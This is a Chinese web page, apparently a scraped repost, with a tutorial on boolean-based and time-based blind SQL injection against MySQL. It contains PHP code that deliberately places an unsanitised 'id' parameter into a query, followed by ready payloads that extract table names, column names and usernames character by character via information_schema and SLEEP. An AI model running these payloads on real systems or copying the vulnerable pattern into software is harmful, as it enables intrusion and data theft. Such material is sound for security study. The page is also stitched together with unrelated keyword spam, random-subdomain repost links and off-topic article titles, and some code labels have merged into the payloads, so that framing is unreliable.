当前位置: 首页 > wzjs >正文

管理公司网站建设郑州企业建公租房的政策

管理公司网站建设,郑州企业建公租房的政策,wordpress改密码,同一个阿里云可以做两个网站吗一. 布尔盲注 布尔盲注是通过观察应用程序的响应&#xff08;如HTTP 状态码等&#xff09;来判断查询条件是否为真。 1.进行数据库配置连接 <?php // 数据库连接配置 $host localhost; $dbname testdb; $user root; $password password;$conn new mysqli($host, $us…

一. 布尔盲注
布尔盲注是通过观察应用程序的响应(如HTTP 状态码等)来判断查询条件是否为真。

1.进行数据库配置连接
<?php
// 数据库连接配置
$host = 'localhost';
$dbname = 'testdb';
$user = 'root';
$password = 'password';$conn = new mysqli($host, $user, $password, $dbname);if ($conn->connect_error) {die("Connection failed: " . $conn->connect_error);
}// 获取用户输入的参数
$id = $_GET['id'];
2.构造布尔盲注查询
$query = "SELECT * FROM users WHERE id = $id AND 1=1";$result = $conn->query($query);
3.返回查询结果
if ($result->num_rows > 0) {echo "Query is TRUE (数据存在)";
} else {echo "Query is FALSE (数据不存在)";
}// 关闭连接
$conn->close();
?>
4.攻击者可以通过修改 `id` 参数,一点点推断数据库信息

获取表名:

sqlid=1 AND (SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1)='a'


获取列名:

sqlid=1 AND (SELECT SUBSTRING(column_name,1,1) FROM information_schema.columns WHERE table_name='users' LIMIT 1)='u'


获取数据:

sqlid=1 AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'

二. 时间盲注
时间盲注是通过在 SQL 查询中插入时间延迟函数(如 `SLEEP()`),根据数据库响应时间来判断查询条件是否为真。

1.数据库配置连接与布尔盲注相同
2.构造时间盲注查询
$query = "SELECT * FROM users WHERE id = $id AND IF(1=1, SLEEP(5), 0)";
$start_time = microtime(true); // 开始时间
$result = $conn->query($query);
$end_time = microtime(true); // 结束时间
3. 计算查询耗时
$query_time = $end_time - $start_time;
4.根据查询时间判断结果
if ($query_time > 5) {echo "Query is TRUE (延迟 5 秒)";
} else {echo "Query is FALSE (无延迟)";
}
// 关闭连接
$conn->close();
?>
5.攻击者可以通过修改 `id` 参数,逐步推断数据库信息

获取表名:

sqlid=1 AND IF(ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1),1,1))=97, SLEEP(5), 0)


获取列名:

sqlid=1 AND IF(ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 1),1,1))=117, SLEEP(5), 0)


获取数据: 

sqlid=1 AND IF(ASCII(SUBSTRING((SELECT username FROM users LIMIT 1),1,1))=97, SLEEP(5), 0)

三.获取表,列,具体数据的函数

1:获取表名

使用布尔盲注或时间盲注,逐个字符推断表名。
 

sqlid=1 AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1 OFFSET 0),1,1))=97

 

2:获取列名

使用布尔盲注或时间盲注,逐个字符推断列名。
 

sqlid=1 AND ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 1 OFFSET 0),1,1))=117
3:获取数据
sqlid=1 AND ASCII(SUBSTRING((SELECT username FROM users LIMIT 1 OFFSET 0),1,1))=97

文章转载自:

http://vCuYcy4J.pqcrz.cn
http://zghNQt1k.pqcrz.cn
http://5OT3J9CT.pqcrz.cn
http://2u1fOPxB.pqcrz.cn
http://JsVtoVe0.pqcrz.cn
http://kK6LTcpq.pqcrz.cn
http://X20EZ75g.pqcrz.cn
http://Wll3JCtr.pqcrz.cn
http://7YR6BtGm.pqcrz.cn
http://FYmQPWNV.pqcrz.cn
http://CZCFzRSn.pqcrz.cn
http://c9RO2rWl.pqcrz.cn
http://hIPBmHcy.pqcrz.cn
http://2oRpSn2V.pqcrz.cn
http://AAL9LOuV.pqcrz.cn
http://sGABESW3.pqcrz.cn
http://BmQqSOfn.pqcrz.cn
http://gLKWZ4Er.pqcrz.cn
http://Ib2UzOZe.pqcrz.cn
http://fCpBY8QG.pqcrz.cn
http://xJrDFEHR.pqcrz.cn
http://4cwN3GjJ.pqcrz.cn
http://9wUBzULa.pqcrz.cn
http://C3FCbJbr.pqcrz.cn
http://sYDAkeSj.pqcrz.cn
http://cLOTU55z.pqcrz.cn
http://T39yJSAh.pqcrz.cn
http://k40GmvBw.pqcrz.cn
http://MNM62HxJ.pqcrz.cn
http://wurhACci.pqcrz.cn
http://www.dtcms.com/wzjs/723505.html

相关文章:

  • 福州品牌网站建设oemwordpress上传ftp失败
  • 阿里巴巴网站的功能重庆手机网站制作费用
  • 做淘客网站用备案吗wordpress刷权重插件
  • 北京做网站建设的公司排名wordpress页面和菜单
  • 建筑公司网站设计思路济南网站建设公司川芎网络
  • 嘉兴门户网站php mysql 网站模板
  • 灰色网站网站企业网站开发技术期末试题
  • 建站平台是给谁用的百度推广代理商与总公司的区别
  • 电子商务网站建设与安全网站建设基地
  • 中企动力邮箱手机登录入口湖南企业竞价优化服务
  • 有了域名 怎么做网站查询网网站
  • seo关键词是怎么优化的正规seo关键词排名哪家专业
  • 移动端网站的优点建设工程查询市场价网站
  • 网站内容关键词零售电商平台有哪些
  • 无忧网站建设wordpress 简历 插件
  • 微网站在哪个平台上搭建好 知乎岳阳做网站费用
  • 汕头seo建站如何推广自己
  • 做网站的字体河南郑州建设网站
  • ui设计网站设计与网页制作视频教程网站开发有哪些内容
  • 网站设计语言深圳微信商城网站设计公司
  • 北京做网站哪家好青县网站制作
  • 菠菜建设网站wordpress 获取 图片说明
  • 阿里巴巴做网站分录简述网站的推广策略
  • 网站建设柚子网络科技好看的网站链接
  • 中国建设银行招聘网站首页简介网络营销的概念
  • 购物商城有哪些福州短视频seo方法
  • 创意网站设计模板成都品牌设计网站
  • 200M电信宽带做网站中层管理者培训课程有哪些
  • 南昌网站建设报价单广西做网站公司
  • 网站开发 接单成都91获客营销中心